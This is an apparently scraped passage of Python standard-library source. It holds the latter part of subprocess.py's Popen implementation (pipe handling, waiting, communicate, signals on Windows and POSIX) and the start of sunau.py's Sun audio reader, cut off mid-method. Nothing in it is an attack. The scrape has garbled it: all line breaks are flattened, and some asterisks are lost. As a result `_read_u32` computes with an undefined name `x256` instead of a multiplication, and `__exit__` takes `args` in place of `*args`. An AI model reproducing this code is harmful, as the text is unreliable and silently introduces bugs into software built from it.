io.TextIOWrapper(self.stdin, write_through=True, line_buffering=(bufsize == 1), encoding=encoding, errors=errors) if c2pread != -1: self.stdout = io.open(c2pread, 'rb', bufsize) if self.text_mode: self.stdout = io.TextIOWrapper(self.stdout, encoding=encoding, errors=errors) if errread != -1: self.stderr = io.open(errread, 'rb', bufsize) if self.text_mode: self.stderr = io.TextIOWrapper(self.stderr, encoding=encoding, errors=errors) self._execute_child(args, executable, preexec_fn, close_fds, pass_fds, cwd, env, startupinfo, creationflags, shell, p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite, restore_signals, start_new_session) except: # Cleanup if the child failed starting. for f in filter(None, (self.stdin, self.stdout, self.stderr)): try: f.close() except OSError: pass # Ignore EBADF or other errors. if not self._closed_child_pipe_fds: to_close = [] if stdin == PIPE: to_close.append(p2cread) if stdout == PIPE: to_close.append(c2pwrite) if stderr == PIPE: to_close.append(errwrite) if hasattr(self, '_devnull'): to_close.append(self._devnull) for fd in to_close: try: if _mswindows and isinstance(fd, Handle): fd.Close() else: os.close(fd) except OSError: pass raise @property def universal_newlines(self): # universal_newlines as retained as an alias of text_mode for API # compatibility. bpo-31756 return self.text_mode @universal_newlines.setter def universal_newlines(self, universal_newlines): self.text_mode = bool(universal_newlines) def _translate_newlines(self, data, encoding, errors): data = data.decode(encoding, errors) return data.replace("\r\n", "\n").replace("\r", "\n") def __enter__(self): return self def __exit__(self, exc_type, value, traceback): if self.stdout: self.stdout.close() if self.stderr: self.stderr.close() try: # Flushing a BufferedWriter may raise an error if self.stdin: self.stdin.close() finally: if exc_type == KeyboardInterrupt: # https://bugs.python.org/issue25942 # In the case of a KeyboardInterrupt we assume the SIGINT # was also already sent to our child processes. We can't # block indefinitely as that is not user friendly. # If we have not already waited a brief amount of time in # an interrupted .wait() or .communicate() call, do so here # for consistency. if self._sigint_wait_secs > 0: try: self._wait(timeout=self._sigint_wait_secs) except TimeoutExpired: pass self._sigint_wait_secs = 0 # Note that this has been done. return # resume the KeyboardInterrupt # Wait for the process to terminate, to avoid zombies. self.wait() def __del__(self, _maxsize=sys.maxsize, _warn=warnings.warn): if not self._child_created: # We didn't get to successfully create a child process. return if self.returncode is None: # Not reading subprocess exit status creates a zombie process which # is only destroyed at the parent python process exit _warn("subprocess %s is still running" % self.pid, ResourceWarning, source=self) # In case the child hasn't been waited on, check if it's done. self._internal_poll(_deadstate=_maxsize) if self.returncode is None and _active is not None: # Child is still running, keep us alive until we can wait on it. _active.append(self) def _get_devnull(self): if not hasattr(self, '_devnull'): self._devnull = os.open(os.devnull, os.O_RDWR) return self._devnull def _stdin_write(self, input): if input: try: self.stdin.write(input) except BrokenPipeError: pass # communicate() must ignore broken pipe errors. except OSError as exc: if exc.errno == errno.EINVAL: # bpo-19612, bpo-30418: On Windows, stdin.write() fails # with EINVAL if the child process exited or if the child # process is still running but closed the pipe. pass else: raise try: self.stdin.close() except BrokenPipeError: pass # communicate() must ignore broken pipe errors. except OSError as exc: if exc.errno == errno.EINVAL: pass else: raise def communicate(self, input=None, timeout=None): """Interact with process: Send data to stdin and close it. Read data from stdout and stderr, until end-of-file is reached. Wait for process to terminate. The optional "input" argument should be data to be sent to the child process, or None, if no data should be sent to the child. communicate() returns a tuple (stdout, stderr). By default, all communication is in bytes, and therefore any "input" should be bytes, and the (stdout, stderr) will be bytes. If in text mode (indicated by self.text_mode), any "input" should be a string, and (stdout, stderr) will be strings decoded according to locale encoding, or by "encoding" if set. Text mode is triggered by setting any of text, encoding, errors or universal_newlines. """ if self._communication_started and input: raise ValueError("Cannot send input after starting communication") # Optimization: If we are not worried about timeouts, we haven't # started communicating, and we have one or zero pipes, using select() # or threads is unnecessary. if (timeout is None and not self._communication_started and [self.stdin, self.stdout, self.stderr].count(None) >= 2): stdout = None stderr = None if self.stdin: self._stdin_write(input) elif self.stdout: stdout = self.stdout.read() self.stdout.close() elif self.stderr: stderr = self.stderr.read() self.stderr.close() self.wait() else: if timeout is not None: endtime = _time() + timeout else: endtime = None try: stdout, stderr = self._communicate(input, endtime, timeout) except KeyboardInterrupt: # https://bugs.python.org/issue25942 # See the detailed comment in .wait(). if timeout is not None: sigint_timeout = min(self._sigint_wait_secs, self._remaining_time(endtime)) else: sigint_timeout = self._sigint_wait_secs self._sigint_wait_secs = 0 # nothing else should wait. try: self._wait(timeout=sigint_timeout) except TimeoutExpired: pass raise # resume the KeyboardInterrupt finally: self._communication_started = True sts = self.wait(timeout=self._remaining_time(endtime)) return (stdout, stderr) def poll(self): """Check if child process has terminated. Set and return returncode attribute.""" return self._internal_poll() def _remaining_time(self, endtime): """Convenience for _communicate when computing timeouts.""" if endtime is None: return None else: return endtime - _time() def _check_timeout(self, endtime, orig_timeout, stdout_seq, stderr_seq, skip_check_and_raise=False): """Convenience for checking if a timeout has expired.""" if endtime is None: return if skip_check_and_raise or _time() > endtime: raise TimeoutExpired( self.args, orig_timeout, output=b''.join(stdout_seq) if stdout_seq else None, stderr=b''.join(stderr_seq) if stderr_seq else None) def wait(self, timeout=None): """Wait for child process to terminate; returns self.returncode.""" if timeout is not None: endtime = _time() + timeout try: return self._wait(timeout=timeout) except KeyboardInterrupt: # https://bugs.python.org/issue25942 # The first keyboard interrupt waits briefly for the child to # exit under the common assumption that it also received the ^C # generated SIGINT and will exit rapidly. if timeout is not None: sigint_timeout = min(self._sigint_wait_secs, self._remaining_time(endtime)) else: sigint_timeout = self._sigint_wait_secs self._sigint_wait_secs = 0 # nothing else should wait. try: self._wait(timeout=sigint_timeout) except TimeoutExpired: pass raise # resume the KeyboardInterrupt if _mswindows: # # Windows methods # def _get_handles(self, stdin, stdout, stderr): """Construct and return tuple with IO objects: p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite """ if stdin is None and stdout is None and stderr is None: return (-1, -1, -1, -1, -1, -1) p2cread, p2cwrite = -1, -1 c2pread, c2pwrite = -1, -1 errread, errwrite = -1, -1 if stdin is None: p2cread = _winapi.GetStdHandle(_winapi.STD_INPUT_HANDLE) if p2cread is None: p2cread, _ = _winapi.CreatePipe(None, 0) p2cread = Handle(p2cread) _winapi.CloseHandle(_) elif stdin == PIPE: p2cread, p2cwrite = _winapi.CreatePipe(None, 0) p2cread, p2cwrite = Handle(p2cread), Handle(p2cwrite) elif stdin == DEVNULL: p2cread = msvcrt.get_osfhandle(self._get_devnull()) elif isinstance(stdin, int): p2cread = msvcrt.get_osfhandle(stdin) else: # Assuming file-like object p2cread = msvcrt.get_osfhandle(stdin.fileno()) p2cread = self._make_inheritable(p2cread) if stdout is None: c2pwrite = _winapi.GetStdHandle(_winapi.STD_OUTPUT_HANDLE) if c2pwrite is None: _, c2pwrite = _winapi.CreatePipe(None, 0) c2pwrite = Handle(c2pwrite) _winapi.CloseHandle(_) elif stdout == PIPE: c2pread, c2pwrite = _winapi.CreatePipe(None, 0) c2pread, c2pwrite = Handle(c2pread), Handle(c2pwrite) elif stdout == DEVNULL: c2pwrite = msvcrt.get_osfhandle(self._get_devnull()) elif isinstance(stdout, int): c2pwrite = msvcrt.get_osfhandle(stdout) else: # Assuming file-like object c2pwrite = msvcrt.get_osfhandle(stdout.fileno()) c2pwrite = self._make_inheritable(c2pwrite) if stderr is None: errwrite = _winapi.GetStdHandle(_winapi.STD_ERROR_HANDLE) if errwrite is None: _, errwrite = _winapi.CreatePipe(None, 0) errwrite = Handle(errwrite) _winapi.CloseHandle(_) elif stderr == PIPE: errread, errwrite = _winapi.CreatePipe(None, 0) errread, errwrite = Handle(errread), Handle(errwrite) elif stderr == STDOUT: errwrite = c2pwrite elif stderr == DEVNULL: errwrite = msvcrt.get_osfhandle(self._get_devnull()) elif isinstance(stderr, int): errwrite = msvcrt.get_osfhandle(stderr) else: # Assuming file-like object errwrite = msvcrt.get_osfhandle(stderr.fileno()) errwrite = self._make_inheritable(errwrite) return (p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite) def _make_inheritable(self, handle): """Return a duplicate of handle, which is inheritable""" h = _winapi.DuplicateHandle( _winapi.GetCurrentProcess(), handle, _winapi.GetCurrentProcess(), 0, 1, _winapi.DUPLICATE_SAME_ACCESS) return Handle(h) def _filter_handle_list(self, handle_list): """Filter out console handles that can't be used in lpAttributeList["handle_list"] and make sure the list isn't empty. This also removes duplicate handles.""" # An handle with it's lowest two bits set might be a special console # handle that if passed in lpAttributeList["handle_list"], will # cause it to fail. return list({handle for handle in handle_list if handle & 0x3 != 0x3 or _winapi.GetFileType(handle) != _winapi.FILE_TYPE_CHAR}) def _execute_child(self, args, executable, preexec_fn, close_fds, pass_fds, cwd, env, startupinfo, creationflags, shell, p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite, unused_restore_signals, unused_start_new_session): """Execute program (MS Windows version)""" assert not pass_fds, "pass_fds not supported on Windows." if not isinstance(args, str): args = list2cmdline(args) # Process startup details if startupinfo is None: startupinfo = STARTUPINFO() else: # bpo-34044: Copy STARTUPINFO since it is modified above, # so the caller can reuse it multiple times. startupinfo = startupinfo._copy() use_std_handles = -1 not in (p2cread, c2pwrite, errwrite) if use_std_handles: startupinfo.dwFlags \|= _winapi.STARTF_USESTDHANDLES startupinfo.hStdInput = p2cread startupinfo.hStdOutput = c2pwrite startupinfo.hStdError = errwrite attribute_list = startupinfo.lpAttributeList have_handle_list = bool(attribute_list and "handle_list" in attribute_list and attribute_list["handle_list"]) # If we were given an handle_list or need to create one if have_handle_list or (use_std_handles and close_fds): if attribute_list is None: attribute_list = startupinfo.lpAttributeList = {} handle_list = attribute_list["handle_list"] = \ list(attribute_list.get("handle_list", [])) if use_std_handles: handle_list += [int(p2cread), int(c2pwrite), int(errwrite)] handle_list[:] = self._filter_handle_list(handle_list) if handle_list: if not close_fds: warnings.warn("startupinfo.lpAttributeList['handle_list'] " "overriding close_fds", RuntimeWarning) # When using the handle_list we always request to inherit # handles but the only handles that will be inherited are # the ones in the handle_list close_fds = False if shell: startupinfo.dwFlags \|= _winapi.STARTF_USESHOWWINDOW startupinfo.wShowWindow = _winapi.SW_HIDE if not executable: # gh-101283: without a fully-qualified path, before Windows # checks the system directories, it first looks in the # application directory, and also the current directory if # NeedCurrentDirectoryForExePathW(ExeName) is true, so try # to avoid executing unqualified "cmd.exe". comspec = os.environ.get('ComSpec') if not comspec: system_root = os.environ.get('SystemRoot', '') comspec = os.path.join(system_root, 'System32', 'cmd.exe') if not os.path.isabs(comspec): raise FileNotFoundError('shell not found: neither %ComSpec% nor %SystemRoot% is set') if os.path.isabs(comspec): executable = comspec else: comspec = executable args = '{} /c "{}"'.format (comspec, args) # Start the process try: hp, ht, pid, tid = _winapi.CreateProcess(executable, args, # no special security None, None, int(not close_fds), creationflags, env, os.fspath(cwd) if cwd is not None else None, startupinfo) finally: # Child is launched. Close the parent's copy of those pipe # handles that only the child should have open. You need # to make sure that no handles to the write end of the # output pipe are maintained in this process or else the # pipe will not close when the child process exits and the # ReadFile will hang. if p2cread != -1: p2cread.Close() if c2pwrite != -1: c2pwrite.Close() if errwrite != -1: errwrite.Close() if hasattr(self, '_devnull'): os.close(self._devnull) # Prevent a double close of these handles/fds from __init__ # on error. self._closed_child_pipe_fds = True # Retain the process handle, but close the thread handle self._child_created = True self._handle = Handle(hp) self.pid = pid _winapi.CloseHandle(ht) def _internal_poll(self, _deadstate=None, _WaitForSingleObject=_winapi.WaitForSingleObject, _WAIT_OBJECT_0=_winapi.WAIT_OBJECT_0, _GetExitCodeProcess=_winapi.GetExitCodeProcess): """Check if child process has terminated. Returns returncode attribute. This method is called by __del__, so it can only refer to objects in its local scope. """ if self.returncode is None: if _WaitForSingleObject(self._handle, 0) == _WAIT_OBJECT_0: self.returncode = _GetExitCodeProcess(self._handle) return self.returncode def _wait(self, timeout): """Internal implementation of wait() on Windows.""" if timeout is None: timeout_millis = _winapi.INFINITE else: timeout_millis = int(timeout * 1000) if self.returncode is None: # API note: Returns immediately if timeout_millis == 0. result = _winapi.WaitForSingleObject(self._handle, timeout_millis) if result == _winapi.WAIT_TIMEOUT: raise TimeoutExpired(self.args, timeout) self.returncode = _winapi.GetExitCodeProcess(self._handle) return self.returncode def _readerthread(self, fh, buffer): buffer.append(fh.read()) fh.close() def _communicate(self, input, endtime, orig_timeout): # Start reader threads feeding into a list hanging off of this # object, unless they've already been started. if self.stdout and not hasattr(self, "_stdout_buff"): self._stdout_buff = [] self.stdout_thread = \ threading.Thread(target=self._readerthread, args=(self.stdout, self._stdout_buff)) self.stdout_thread.daemon = True self.stdout_thread.start() if self.stderr and not hasattr(self, "_stderr_buff"): self._stderr_buff = [] self.stderr_thread = \ threading.Thread(target=self._readerthread, args=(self.stderr, self._stderr_buff)) self.stderr_thread.daemon = True self.stderr_thread.start() if self.stdin: self._stdin_write(input) # Wait for the reader threads, or time out. If we time out, the # threads remain reading and the fds left open in case the user # calls communicate again. if self.stdout is not None: self.stdout_thread.join(self._remaining_time(endtime)) if self.stdout_thread.is_alive(): raise TimeoutExpired(self.args, orig_timeout) if self.stderr is not None: self.stderr_thread.join(self._remaining_time(endtime)) if self.stderr_thread.is_alive(): raise TimeoutExpired(self.args, orig_timeout) # Collect the output from and close both pipes, now that we know # both have been read successfully. stdout = None stderr = None if self.stdout: stdout = self._stdout_buff self.stdout.close() if self.stderr: stderr = self._stderr_buff self.stderr.close() # All data exchanged. Translate lists into strings. if stdout is not None: stdout = stdout[0] if stderr is not None: stderr = stderr[0] return (stdout, stderr) def send_signal(self, sig): """Send a signal to the process.""" # Don't signal a process that we know has already died. if self.returncode is not None: return if sig == signal.SIGTERM: self.terminate() elif sig == signal.CTRL_C_EVENT: os.kill(self.pid, signal.CTRL_C_EVENT) elif sig == signal.CTRL_BREAK_EVENT: os.kill(self.pid, signal.CTRL_BREAK_EVENT) else: raise ValueError("Unsupported signal: {}".format(sig)) def terminate(self): """Terminates the process.""" # Don't terminate a process that we know has already died. if self.returncode is not None: return try: _winapi.TerminateProcess(self._handle, 1) except PermissionError: # ERROR_ACCESS_DENIED (winerror 5) is received when the # process already died. rc = _winapi.GetExitCodeProcess(self._handle) if rc == _winapi.STILL_ACTIVE: raise self.returncode = rc kill = terminate else: # # POSIX methods # def _get_handles(self, stdin, stdout, stderr): """Construct and return tuple with IO objects: p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite """ p2cread, p2cwrite = -1, -1 c2pread, c2pwrite = -1, -1 errread, errwrite = -1, -1 if stdin is None: pass elif stdin == PIPE: p2cread, p2cwrite = os.pipe() elif stdin == DEVNULL: p2cread = self._get_devnull() elif isinstance(stdin, int): p2cread = stdin else: # Assuming file-like object p2cread = stdin.fileno() if stdout is None: pass elif stdout == PIPE: c2pread, c2pwrite = os.pipe() elif stdout == DEVNULL: c2pwrite = self._get_devnull() elif isinstance(stdout, int): c2pwrite = stdout else: # Assuming file-like object c2pwrite = stdout.fileno() if stderr is None: pass elif stderr == PIPE: errread, errwrite = os.pipe() elif stderr == STDOUT: if c2pwrite != -1: errwrite = c2pwrite else: # child's stdout is not set, use parent's stdout errwrite = sys.__stdout__.fileno() elif stderr == DEVNULL: errwrite = self._get_devnull() elif isinstance(stderr, int): errwrite = stderr else: # Assuming file-like object errwrite = stderr.fileno() return (p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite) def _execute_child(self, args, executable, preexec_fn, close_fds, pass_fds, cwd, env, startupinfo, creationflags, shell, p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite, restore_signals, start_new_session): """Execute program (POSIX version)""" if isinstance(args, (str, bytes)): args = [args] else: args = list(args) if shell: # On Android the default shell is at '/system/bin/sh'. unix_shell = ('/system/bin/sh' if hasattr(sys, 'getandroidapilevel') else '/bin/sh') args = [unix_shell, "-c"] + args if executable: args[0] = executable if executable is None: executable = args[0] orig_executable = executable # For transferring possible exec failure from child to parent. # Data format: "exception name:hex errno:description" # Pickle is not used; it is complex and involves memory allocation. errpipe_read, errpipe_write = os.pipe() # errpipe_write must not be in the standard io 0, 1, or 2 fd range. low_fds_to_close = [] while errpipe_write < 3: low_fds_to_close.append(errpipe_write) errpipe_write = os.dup(errpipe_write) for low_fd in low_fds_to_close: os.close(low_fd) try: try: # We must avoid complex work that could involve # malloc or free in the child process to avoid # potential deadlocks, thus we do all this here. # and pass it to fork_exec() if env is not None: env_list = [] for k, v in env.items(): k = os.fsencode(k) if b'=' in k: raise ValueError("illegal environment variable name") env_list.append(k + b'=' + os.fsencode(v)) else: env_list = None # Use execv instead of execve. executable = os.fsencode(executable) if os.path.dirname(executable): executable_list = (executable,) else: # This matches the behavior of os._execvpe(). executable_list = tuple( os.path.join(os.fsencode(dir), executable) for dir in os.get_exec_path(env)) fds_to_keep = set(pass_fds) fds_to_keep.add(errpipe_write) self.pid = _posixsubprocess.fork_exec( args, executable_list, close_fds, tuple(sorted(map(int, fds_to_keep))), cwd, env_list, p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite, errpipe_read, errpipe_write, restore_signals, start_new_session, preexec_fn) self._child_created = True finally: # be sure the FD is closed no matter what os.close(errpipe_write) # self._devnull is not always defined. devnull_fd = getattr(self, '_devnull', None) if p2cread != -1 and p2cwrite != -1 and p2cread != devnull_fd: os.close(p2cread) if c2pwrite != -1 and c2pread != -1 and c2pwrite != devnull_fd: os.close(c2pwrite) if errwrite != -1 and errread != -1 and errwrite != devnull_fd: os.close(errwrite) if devnull_fd is not None: os.close(devnull_fd) # Prevent a double close of these fds from __init__ on error. self._closed_child_pipe_fds = True # Wait for exec to fail or succeed; possibly raising an # exception (limited in size) errpipe_data = bytearray() while True: part = os.read(errpipe_read, 50000) errpipe_data += part if not part or len(errpipe_data) > 50000: break finally: # be sure the FD is closed no matter what os.close(errpipe_read) if errpipe_data: try: pid, sts = os.waitpid(self.pid, 0) if pid == self.pid: self._handle_exitstatus(sts) else: self.returncode = sys.maxsize except ChildProcessError: pass try: exception_name, hex_errno, err_msg = ( errpipe_data.split(b':', 2)) # The encoding here should match the encoding # written in by the subprocess implementations # like _posixsubprocess err_msg = err_msg.decode() except ValueError: exception_name = b'SubprocessError' hex_errno = b'0' err_msg = 'Bad exception data from child: {!r}'.format( bytes(errpipe_data)) child_exception_type = getattr( builtins, exception_name.decode('ascii'), SubprocessError) if issubclass(child_exception_type, OSError) and hex_errno: errno_num = int(hex_errno, 16) child_exec_never_called = (err_msg == "noexec") if child_exec_never_called: err_msg = "" # The error must be from chdir(cwd). err_filename = cwd else: err_filename = orig_executable if errno_num != 0: err_msg = os.strerror(errno_num) if errno_num == errno.ENOENT: err_msg += ': ' + repr(err_filename) raise child_exception_type(errno_num, err_msg, err_filename) raise child_exception_type(err_msg) def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED, _WTERMSIG=os.WTERMSIG, _WIFEXITED=os.WIFEXITED, _WEXITSTATUS=os.WEXITSTATUS, _WIFSTOPPED=os.WIFSTOPPED, _WSTOPSIG=os.WSTOPSIG): """All callers to this function MUST hold self._waitpid_lock.""" # This method is called (indirectly) by __del__, so it cannot # refer to anything outside of its local scope. if _WIFSIGNALED(sts): self.returncode = -_WTERMSIG(sts) elif _WIFEXITED(sts): self.returncode = _WEXITSTATUS(sts) elif _WIFSTOPPED(sts): self.returncode = -_WSTOPSIG(sts) else: # Should never happen raise SubprocessError("Unknown child exit status!") def _internal_poll(self, _deadstate=None, _waitpid=os.waitpid, _WNOHANG=os.WNOHANG, _ECHILD=errno.ECHILD): """Check if child process has terminated. Returns returncode attribute. This method is called by __del__, so it cannot reference anything outside of the local scope (nor can any methods it calls). """ if self.returncode is None: if not self._waitpid_lock.acquire(False): # Something else is busy calling waitpid. Don't allow two # at once. We know nothing yet. return None try: if self.returncode is not None: return self.returncode # Another thread waited. pid, sts = _waitpid(self.pid, _WNOHANG) if pid == self.pid: self._handle_exitstatus(sts) except OSError as e: if _deadstate is not None: self.returncode = _deadstate elif e.errno == _ECHILD: # This happens if SIGCLD is set to be ignored or # waiting for child processes has otherwise been # disabled for our process. This child is dead, we # can't get the status. # http://bugs.python.org/issue15756 self.returncode = 0 finally: self._waitpid_lock.release() return self.returncode def _try_wait(self, wait_flags): """All callers to this function MUST hold self._waitpid_lock.""" try: (pid, sts) = os.waitpid(self.pid, wait_flags) except ChildProcessError: # This happens if SIGCLD is set to be ignored or waiting # for child processes has otherwise been disabled for our # process. This child is dead, we can't get the status. pid = self.pid sts = 0 return (pid, sts) def _wait(self, timeout): """Internal implementation of wait() on POSIX.""" if self.returncode is not None: return self.returncode if timeout is not None: endtime = _time() + timeout # Enter a busy loop if we have a timeout. This busy loop was # cribbed from Lib/threading.py in Thread.wait() at r71065. delay = 0.0005 # 500 us -> initial delay of 1 ms while True: if self._waitpid_lock.acquire(False): try: if self.returncode is not None: break # Another thread waited. (pid, sts) = self._try_wait(os.WNOHANG) assert pid == self.pid or pid == 0 if pid == self.pid: self._handle_exitstatus(sts) break finally: self._waitpid_lock.release() remaining = self._remaining_time(endtime) if remaining <= 0: raise TimeoutExpired(self.args, timeout) delay = min(delay * 2, remaining, .05) time.sleep(delay) else: while self.returncode is None: with self._waitpid_lock: if self.returncode is not None: break # Another thread waited. (pid, sts) = self._try_wait(0) # Check the pid and loop as waitpid has been known to # return 0 even without WNOHANG in odd situations. # http://bugs.python.org/issue14396. if pid == self.pid: self._handle_exitstatus(sts) return self.returncode def _communicate(self, input, endtime, orig_timeout): if self.stdin and not self._communication_started: # Flush stdio buffer. This might block, if the user has # been writing to .stdin in an uncontrolled fashion. try: self.stdin.flush() except BrokenPipeError: pass # communicate() must ignore BrokenPipeError. if not input: try: self.stdin.close() except BrokenPipeError: pass # communicate() must ignore BrokenPipeError. stdout = None stderr = None # Only create this mapping if we haven't already. if not self._communication_started: self._fileobj2output = {} if self.stdout: self._fileobj2output[self.stdout] = [] if self.stderr: self._fileobj2output[self.stderr] = [] if self.stdout: stdout = self._fileobj2output[self.stdout] if self.stderr: stderr = self._fileobj2output[self.stderr] self._save_input(input) if self._input: input_view = memoryview(self._input) with _PopenSelector() as selector: if self.stdin and input: selector.register(self.stdin, selectors.EVENT_WRITE) if self.stdout and not self.stdout.closed: selector.register(self.stdout, selectors.EVENT_READ) if self.stderr and not self.stderr.closed: selector.register(self.stderr, selectors.EVENT_READ) while selector.get_map(): timeout = self._remaining_time(endtime) if timeout is not None and timeout < 0: self._check_timeout(endtime, orig_timeout, stdout, stderr, skip_check_and_raise=True) raise RuntimeError( # Impossible :) '_check_timeout(..., skip_check_and_raise=True) ' 'failed to raise TimeoutExpired.') ready = selector.select(timeout) self._check_timeout(endtime, orig_timeout, stdout, stderr) # XXX Rewrite these to use non-blocking I/O on the file # objects; they are no longer using C stdio! for key, events in ready: if key.fileobj is self.stdin: chunk = input_view[self._input_offset : self._input_offset + _PIPE_BUF] try: self._input_offset += os.write(key.fd, chunk) except BrokenPipeError: selector.unregister(key.fileobj) key.fileobj.close() else: if self._input_offset >= len(self._input): selector.unregister(key.fileobj) key.fileobj.close() elif key.fileobj in (self.stdout, self.stderr): data = os.read(key.fd, 32768) if not data: selector.unregister(key.fileobj) key.fileobj.close() self._fileobj2output[key.fileobj].append(data) self.wait(timeout=self._remaining_time(endtime)) # All data exchanged. Translate lists into strings. if stdout is not None: stdout = b''.join(stdout) if stderr is not None: stderr = b''.join(stderr) # Translate newlines, if requested. # This also turns bytes into strings. if self.text_mode: if stdout is not None: stdout = self._translate_newlines(stdout, self.stdout.encoding, self.stdout.errors) if stderr is not None: stderr = self._translate_newlines(stderr, self.stderr.encoding, self.stderr.errors) return (stdout, stderr) def _save_input(self, input): # This method is called from the _communicate_with_*() methods # so that if we time out while communicating, we can continue # sending input if we retry. if self.stdin and self._input is None: self._input_offset = 0 self._input = input if input is not None and self.text_mode: self._input = self._input.encode(self.stdin.encoding, self.stdin.errors) def send_signal(self, sig): """Send a signal to the process.""" # Skip signalling a process that we know has already died. if self.returncode is None: os.kill(self.pid, sig) def terminate(self): """Terminate the process with SIGTERM """ self.send_signal(signal.SIGTERM) def kill(self): """Kill the process with SIGKILL """ self.send_signal(signal.SIGKILL)	70.95 KB	2024-04-17 17:55
📄 sunau.py """Stuff to parse Sun and NeXT audio files. An audio file consists of a header followed by the data. The structure of the header is as follows. +---------------+ \| magic word \| +---------------+ \| header size \| +---------------+ \| data size \| +---------------+ \| encoding \| +---------------+ \| sample rate \| +---------------+ \| # of channels \| +---------------+ \| info \| \| \| +---------------+ The magic word consists of the 4 characters '.snd'. Apart from the info field, all header fields are 4 bytes in size. They are all 32-bit unsigned integers encoded in big-endian byte order. The header size really gives the start of the data. The data size is the physical size of the data. From the other parameters the number of frames can be calculated. The encoding gives the way in which audio samples are encoded. Possible values are listed below. The info field currently consists of an ASCII string giving a human-readable description of the audio file. The info field is padded with NUL bytes to the header size. Usage. Reading audio files: f = sunau.open(file, 'r') where file is either the name of a file or an open file pointer. The open file pointer must have methods read(), seek(), and close(). When the setpos() and rewind() methods are not used, the seek() method is not necessary. This returns an instance of a class with the following public methods: getnchannels() -- returns number of audio channels (1 for mono, 2 for stereo) getsampwidth() -- returns sample width in bytes getframerate() -- returns sampling frequency getnframes() -- returns number of audio frames getcomptype() -- returns compression type ('NONE' or 'ULAW') getcompname() -- returns human-readable version of compression type ('not compressed' matches 'NONE') getparams() -- returns a namedtuple consisting of all of the above in the above order getmarkers() -- returns None (for compatibility with the aifc module) getmark(id) -- raises an error since the mark does not exist (for compatibility with the aifc module) readframes(n) -- returns at most n frames of audio rewind() -- rewind to the beginning of the audio stream setpos(pos) -- seek to the specified position tell() -- return the current position close() -- close the instance (make it unusable) The position returned by tell() and the position given to setpos() are compatible and have nothing to do with the actual position in the file. The close() method is called automatically when the class instance is destroyed. Writing audio files: f = sunau.open(file, 'w') where file is either the name of a file or an open file pointer. The open file pointer must have methods write(), tell(), seek(), and close(). This returns an instance of a class with the following public methods: setnchannels(n) -- set the number of channels setsampwidth(n) -- set the sample width setframerate(n) -- set the frame rate setnframes(n) -- set the number of frames setcomptype(type, name) -- set the compression type and the human-readable compression type setparams(tuple)-- set all parameters at once tell() -- return current position in output file writeframesraw(data) -- write audio frames without pathing up the file header writeframes(data) -- write audio frames and patch up the file header close() -- patch up the file header and close the output file You should set the parameters before the first writeframesraw or writeframes. The total number of frames does not need to be set, but when it is set to the correct value, the header does not have to be patched up. It is best to first set all parameters, perhaps possibly the compression type, and then write audio frames using writeframesraw. When all frames have been written, either call writeframes(b'') or close() to patch up the sizes in the header. The close() method is called automatically when the class instance is destroyed. """ from collections import namedtuple import warnings _sunau_params = namedtuple('_sunau_params', 'nchannels sampwidth framerate nframes comptype compname') # from <multimedia/audio_filehdr.h> AUDIO_FILE_MAGIC = 0x2e736e64 AUDIO_FILE_ENCODING_MULAW_8 = 1 AUDIO_FILE_ENCODING_LINEAR_8 = 2 AUDIO_FILE_ENCODING_LINEAR_16 = 3 AUDIO_FILE_ENCODING_LINEAR_24 = 4 AUDIO_FILE_ENCODING_LINEAR_32 = 5 AUDIO_FILE_ENCODING_FLOAT = 6 AUDIO_FILE_ENCODING_DOUBLE = 7 AUDIO_FILE_ENCODING_ADPCM_G721 = 23 AUDIO_FILE_ENCODING_ADPCM_G722 = 24 AUDIO_FILE_ENCODING_ADPCM_G723_3 = 25 AUDIO_FILE_ENCODING_ADPCM_G723_5 = 26 AUDIO_FILE_ENCODING_ALAW_8 = 27 # from <multimedia/audio_hdr.h> AUDIO_UNKNOWN_SIZE = 0xFFFFFFFF # ((unsigned)(~0)) _simple_encodings = [AUDIO_FILE_ENCODING_MULAW_8, AUDIO_FILE_ENCODING_LINEAR_8, AUDIO_FILE_ENCODING_LINEAR_16, AUDIO_FILE_ENCODING_LINEAR_24, AUDIO_FILE_ENCODING_LINEAR_32, AUDIO_FILE_ENCODING_ALAW_8] class Error(Exception): pass def _read_u32(file): x = 0 for i in range(4): byte = file.read(1) if not byte: raise EOFError x = x256 + ord(byte) return x def _write_u32(file, x): data = [] for i in range(4): d, m = divmod(x, 256) data.insert(0, int(m)) x = d file.write(bytes(data)) class Au_read: def __init__(self, f): if type(f) == type(''): import builtins f = builtins.open(f, 'rb') self._opened = True else: self._opened = False self.initfp(f) def __del__(self): if self._file: self.close() def __enter__(self): return self def __exit__(self, args): self.close() def initfp(self, file): self._file = file self._soundpos = 0 magic = int(_read_u32(file)) if magic != AUDIO_FILE_MAGIC: raise Error('bad magic number') self._hdr_size = int(_read_u32(file)) if self._hdr_size < 24: raise Error('header size too small') if self._hdr_size > 100: raise Error('header size ridiculously large') self._data_size = _read_u32(file) if self._data_size != AUDIO_UNKNOWN_SIZE: self._data_size = int(self._data_size) self._encoding = int(_read_u32(file)) if self._encoding not in _simple_encodings: raise Error('encoding not (yet) supported') if self._encoding in (AUDIO_FILE_ENCODING_MULAW_8, AUDIO_FILE_ENCODING_ALAW_8): self._sampwidth = 2 self._framesize = 1 elif self._encoding == AUDIO_FILE_ENCODING_LINEAR_8: self._framesize = self._sampwidth = 1 elif self._encoding == AUDIO_FILE_ENCODING_LINEAR_16: self._framesize = self._sampwidth = 2 elif self._encoding == AUDIO_FILE_ENCODING_LINEAR_24: self._framesize = self._sampwidth = 3 elif self._encoding == AUDIO_FILE_ENCODING_LINEAR_32: self._framesize = self._sampwidth = 4 else: raise Error('unknown encoding') self._framerate = int(_read_u32(file)) self._nchannels = int(_read_u32(file)) if not self._nchannels: raise Error('bad # of channels') self._framesize = self._framesize * self._nchannels if self._hdr_size > 24: self._info = file.read(self._hdr_size - 24) self._info, _, _ = self._info.partition(b'\0') else: self._info = b'' try: self._data_pos = file.tell() except (AttributeError, OSError): self._data_pos = None def getfp(self): return self._file def getnchannels(self): return self._nchannels def getsampwidth(self): return self._sampwidth def getframerate(self): return self._framerate def getnframes(self): if self._data_size == 